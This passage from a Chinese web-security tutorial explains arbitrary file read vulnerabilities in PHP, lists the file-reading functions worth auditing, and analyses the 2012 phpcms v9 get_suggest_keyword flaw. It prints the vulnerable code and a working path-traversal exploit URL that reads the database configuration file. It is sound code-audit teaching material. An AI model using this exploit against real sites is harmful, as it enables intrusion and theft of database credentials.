返回介绍

5.1.2 文件读取(下载)漏洞

发布于 2024-10-11 22:07:43 字数 1621 浏览 0 评论 0 收藏 0

文件读取漏洞与下载漏洞差别不大,这里就合并在一起说,文件读取漏洞在很多大型应用上都出现过,印象比较深的是 2012 年的时候 phpcmsv9 的任意文件读取,可以直接读取数据库配置文件,当时也是有很多企业因为这个漏洞被入侵。这个漏洞很容易理解,部分程序在下载文件或者读取显示文件的时候,读取文件的参数 filename 直接在请求里面传递,后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。

挖掘经验:

文件读取的漏洞寻找起来很是比较容易的,一种方式是可以先黑盒看看功能点对应的文件,再去读文件,这样找起来会比较快。另外一种方式就是去搜索文件读取的函数,看看有没有可以直接或者间接控制的变量,文件读取函数列表如下:file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file(),除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数 include 等,可以利用 PHP 输入输出流 php://filter/来读取文件。

phpcms 任意文件读取分析

这里介绍 phpcms v9 的任意文件读取漏洞,漏洞作者为 safekey team 核心成员 zvall。

漏洞位于文件/phpcms/modules/search/index.phppublic_的 get_suggest_keyword 函数,代码如下:

public function public_get_suggest_keyword () {

    $url = $_GET['url'].'&q='.$_GET['q'] ; 

    $res = @file_get_contents ( $url ); 

    if ( CHARSET ! = 'gbk' ) {

    $res = iconv ( 'gbk' , CHARSET , $res ); 

    }

    echo $res ; 

}

这里可以看到该函数直接从 GET 参数里面获取要读取的 URL,然后使用 file_get_contents 函数来读取内容,不过这里有一点要说一下,如果直接提交?url=&q=1.php 我们打印出来 url 变量可以看到值为“&q=1.php”,带到函数里面则是 file_get_contents(“&q=1.php”),这样是读不到当前文件的,需要?url=&q=../../1.php 这样多加两个”../”,把“&q=”当成目录来跳过,最终这个漏洞读取数据库配置文件的 EXP 为:

/index.php?m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php

利用截图如图 5-5 所示。

图 5-5

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文